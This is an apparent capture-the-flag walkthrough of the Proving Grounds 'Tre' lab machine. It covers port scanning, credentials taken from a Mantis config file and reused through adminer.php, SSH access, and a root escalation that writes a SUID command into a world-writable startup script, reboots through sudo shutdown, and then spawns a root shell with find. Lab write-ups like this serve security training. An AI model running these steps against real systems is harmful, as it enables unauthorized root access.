Tre

Lets see the IP address →

IP : 192.168.249.142

Port Scan Results ➡️

┌──(kali㉿kali)-[~/Downloads/Proving_Ground/TRE]
└─$ sudo nmap -sC -sV -p- -T4 -oN Nmap_results.txt 192.168.249.142
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-16 14:29 IST
Nmap scan report for 192.168.249.142
Host is up (0.00028s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 99:1a:ea:d7:d7:b3:48:80:9f:88:82:2a:14:eb:5f:0e (RSA)
|   256 f4:f6:9c:db:cf:d4:df:6a:91:0a:81:05:de:fa:8d:f8 (ECDSA)
|_  256 ed:b9:a9:d7:2d:00:f8:1b:d3:99:d6:02:e5:ad:17:9f (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Tre
8082/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Tre
MAC Address: 00:0C:29:7F:7E:7D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

---

Web Enumeration ➡️

Lets see the webpage →

Now after directory or files bruteforcing I found different sites or directories running different services so lets see the config files first for credentials →

# --- Database Configuration ---
$g_hostname      = 'localhost';
$g_db_username   = 'mantissuser';
$g_db_password   = 'password@123AS';
$g_database_name = 'mantis';
$g_db_type       = 'mysqli';

Lets use this credentials here adminer.php file →

After entering that data I am in →

Now I got the username and password credentials so lets alter that data and use it to login into the shell with our put data into it →

Now lets modify it now →

Now lets use this to replace our password hashes and save that →

I tried to access the ssh login with hash password but no luck , then I tried its different looking realnames and tried it as a passwords and see I got in as tre user →

┌──(kali㉿kali)-[~/Downloads/Proving_Ground/TRE]
└─$ sudo ssh tre@192.168.249.142     
tre@192.168.249.14 password: 
Linux tre 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 12 23:56:00 2020 from 192.168.17.172
tre@tre:~$ whoami
tre
tre@tre:~$ id
uid=1000(tre) gid=1000(tre) groups=1000(tre),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
tre@tre:~$

Lets see local.txt file →

tre@tre:~$ ls -al
total 24
drwxr-xr-x 2 tre  tre  4096 Aug 23  2020 .
drwxr-xr-x 3 root root 4096 May 11  2020 ..
-rw-r--r-- 1 tre  tre   220 May 11  2020 .bash_logout
-rw-r--r-- 1 tre  tre  3526 May 11  2020 .bashrc
-rw-r--r-- 1 tre  tre    33 Jul 16 06:52 local.txt
-rw-r--r-- 1 tre  tre   807 May 11  2020 .profile
tre@tre:~$ cat local.txt
ec6b0276b5cbf898afe3bdb7c8da36b1
tre@tre:~$

Now while cheching proccess running I got this →

tre@tre:/tmp$ ls -al /usr/bin/check-system
-rw----rw- 1 root root 135 May 12  2020 /usr/bin/check-system
tre@tre:/tmp$ sudo -l
Matching Defaults entries for tre on tre:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tre may run the following commands on tre:
    (ALL) NOPASSWD: /sbin/shutdown
tre@tre:/tmp$
tre@tre:/tmp$ cat /usr/bin/check-system
DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p info

while :
do
echo "Checking...";
sleep 1;
done
tre@tre:/tmp$

So after trying this sudo shutdown I got this →

tre@tre:/tmp$ sudo shutdown
Shutdown scheduled for Sun 2023-07-16 06:28:59 EDT, use 'shutdown -c' to cancel.
tre@tre:/tmp$

means that I execute my command on writing into /usr/bin/check-system file and when I execute the sudo shutdown command it will also execute as root user so lets do it —>

tre@tre:~$ echo 'chmod u+s /usr/bin/find'> /usr/bin/check-system
tre@tre:~$ sudo /sbin/shutdown -r now
tre@tre:~$ Connection to 192.168.249.142 closed by remote host.
Connection to 192.168.249.142 closed.

Now its time to restart the tre shell with ssh commands and lets check the /usr/bin/find command got SUIDs permissions or not →

┌──(kali㉿kali)-[~/Downloads/Proving_Ground/TRE]
└─$ sudo ssh tre@192.168.249.142 -p 22    
tre@192.168.249.142s password: 
Linux tre 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 16 06:35:35 2023 from 192.168.249.128
tre@tre:~$ ls -al /usr/bin/find
-rwsr-xr-x 1 root root 315904 Feb 16  2019 /usr/bin/find
tre@tre:~$ find . -exec /bin/bash -p \; -quit
bash-5.0# whoami
root
bash-5.0# id
uid=1000(tre) gid=1000(tre) euid=0(root) groups=1000(tre),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
bash-5.0# cd /root
bash-5.0# ls -al
total 24
drwx------  2 root root 4096 Jul 16 06:52 .
drwxr-xr-x 18 root root 4096 Jul  7  2020 ..
-rw-------  1 root root    0 Sep  3  2020 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   33 Jul 16 06:52 proof.txt
-rw-r--r--  1 root root   32 Aug 23  2020 root.txt
bash-5.0# cat proof.txt
71a1ba68d15d0ebde47c8b8090b065cf
bash-5.0# cat root.txt
Your flag is in another file...
bash-5.0#

If you have any questions or suggestions, please leave a comment below. Thank You !